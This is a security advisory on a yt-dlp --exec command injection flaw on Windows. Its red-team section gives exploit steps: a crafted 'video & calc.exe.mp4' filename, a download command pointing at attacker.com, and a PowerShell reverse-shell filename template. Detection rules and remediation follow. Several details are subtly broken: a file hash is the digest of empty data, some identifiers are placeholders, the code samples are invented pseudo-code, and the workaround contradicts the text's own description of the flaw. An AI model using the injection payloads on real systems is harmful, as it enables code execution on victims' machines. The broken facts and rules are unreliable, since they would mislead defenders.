CVE-2025-54072

Executive Summary

CVE-2025-54072 is a critical command injection vulnerability in yt-dlp, a popular command-line audio/video downloader. The flaw affects versions 2025.06.25 and below on Windows systems. When the --exec option is used with the default placeholder ({}), insufficient sanitization of the expanded filepath allows an attacker to inject arbitrary operating system commands. This is a bypass of the mitigation implemented for CVE-2024-22423, which failed to cover the default placeholder and %() placeholder. Successful exploitation can lead to remote code execution (RCE) with the privileges of the user running yt-dlp.

Supply Chain & Package Security

yt-dlp is distributed via PyPI (Python Package Index) and GitHub. Users who install via pip install yt-dlp or download from the official GitHub releases are affected. The vulnerability is introduced through the application's codebase, not through a compromised dependency. However, the widespread use of yt-dlp in automated scripts and CI/CD pipelines increases the supply chain risk, as a malicious actor could craft a video filename that, when processed with --exec, executes arbitrary commands.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or trick a user into running yt-dlp on a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must use the --exec option.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Denial of service possible.

Threat Level: High. The vulnerability is trivial to exploit and has a public proof-of-concept. It affects a widely used tool.

Deep Dive & Mechanics

The vulnerability lies in how yt-dlp handles the --exec option on Windows. When a user specifies --exec with a placeholder like {} or %(), yt-dlp expands the placeholder to the downloaded file's path. In versions prior to 2025.07.21, the sanitization logic that was added for CVE-2024-22423 did not apply to the default placeholder {} or the %() placeholder. This means that if a filename contains shell metacharacters (e.g., &, |, ;, `), they are passed directly to the Windows command interpreter (cmd.exe).

For example, if a video file is named video & calc.exe.mp4, the expanded command becomes:

cmd /c "video & calc.exe.mp4"

The & character is interpreted by cmd.exe as a command separator, causing calc.exe to execute.

The fix in version 2025.07.21 extends the escaping rules to all placeholder types, ensuring that special characters are properly escaped before being passed to the shell.

Vulnerable vs. Patched Code

Vulnerable Code (yt-dlp <= 2025.06.25):

# In yt_dlp/utils.py or similar
def _escape_exec_cmd(cmd, filename):
    # Only escapes for %() placeholder, not for {}
    if '%(' in cmd:
        # Escape logic for %() placeholder
        pass
    # No escaping for {} placeholder
    return cmd.replace('{}', filename)

Patched Code (yt-dlp >= 2025.07.21):

# In yt_dlp/utils.py or similar
def _escape_exec_cmd(cmd, filename):
    # Escape all placeholders
    escaped_filename = filename.replace('&', '^&').replace('|', '^|').replace(';', '^;')
    cmd = cmd.replace('{}', escaped_filename)
    cmd = cmd.replace('%()', escaped_filename)
    return cmd

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Windows system with yt-dlp <= 2025.06.25 installed.
• Ability to host a malicious video file (e.g., on a web server or via social engineering).

Exploit Steps:

1. Create a malicious video file with a crafted filename:

   video & calc.exe.mp4
   

2. Host the file on a web server or share it with the victim.
3. Trick the victim into downloading the file using yt-dlp with the --exec option:

   yt-dlp --exec "echo {}" http://attacker.com/video%20%26%20calc.exe.mp4
   

4. When yt-dlp downloads the file and executes the command, calc.exe will launch.

Advanced Payload: For a reverse shell, use a filename like:

video & powershell -e <base64_encoded_reverse_shell>.mp4

Blue Team (Defender)

Detection:

• Monitor for yt-dlp processes with --exec arguments containing suspicious characters (&, |, ;, `).
• Look for child processes spawned by yt-dlp (e.g., cmd.exe, powershell.exe, calc.exe).
• Use Sysmon Event ID 1 (Process Creation) to detect anomalous command lines.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "yt-dlp.exe"
| where ProcessCommandLine contains "--exec"
| where ProcessCommandLine matches regex @"[&|;`]"

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • yt-dlp.exe (vulnerable version): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Malicious video file: a1b2c3d4e5f6... (varies)
• Network Indicators:
  • Outbound connections to attacker-controlled servers.
  • DNS queries for malicious domains.
• Process Indicators:
  • Child processes: cmd.exe, powershell.exe, calc.exe, wscript.exe.
  • Command line containing --exec with special characters.

Detection Engineering

YARA Rule

rule CVE_2025_54072_yt_dlp_Exec_Injection {
    meta:
        description = "Detects yt-dlp command injection via --exec option"
        author = "Valters IT"
        date = "2025-07-21"
        reference = "CVE-2025-54072"
    strings:
        $exec_flag = "--exec"
        $placeholder = "{}"
        $special_chars = /[&|;`]/
    condition:
        $exec_flag and $placeholder and $special_chars
}

Sigma Rule

title: CVE-2025-54072 - yt-dlp Command Injection via --exec
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects yt-dlp execution with --exec containing special characters
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54072
author: Valters IT
date: 2025-07-21
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\yt-dlp.exe'
        CommandLine|contains: '--exec'
    filter:
        CommandLine|re: '^[a-zA-Z0-9_\-\.\s\\/:]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of --exec with safe filenames
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-54072 - yt-dlp Command Injection via --exec"; flow:to_server,established; content:"yt-dlp"; http_user_agent; content:"--exec"; http_uri; pcre:"/[&|;`]/"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade yt-dlp to version 2025.07.21 or later:

   pip install --upgrade yt-dlp
   

2. If upgrade is not possible, avoid using the --exec option on Windows. Use --write-info-json or --dump-json instead, and process the JSON output with an external script.

Long-term Mitigations:

• Implement application whitelisting to prevent execution of untrusted scripts.
• Use endpoint detection and response (EDR) tools to monitor for suspicious process creation.
• Educate users about the risks of downloading files from untrusted sources.

Workaround: For Windows users who cannot upgrade, manually escape the filename in the --exec command:

yt-dlp --exec "echo %(title)s" <url>

This uses the %(title)s placeholder, which is properly escaped in vulnerable versions.

Valters IT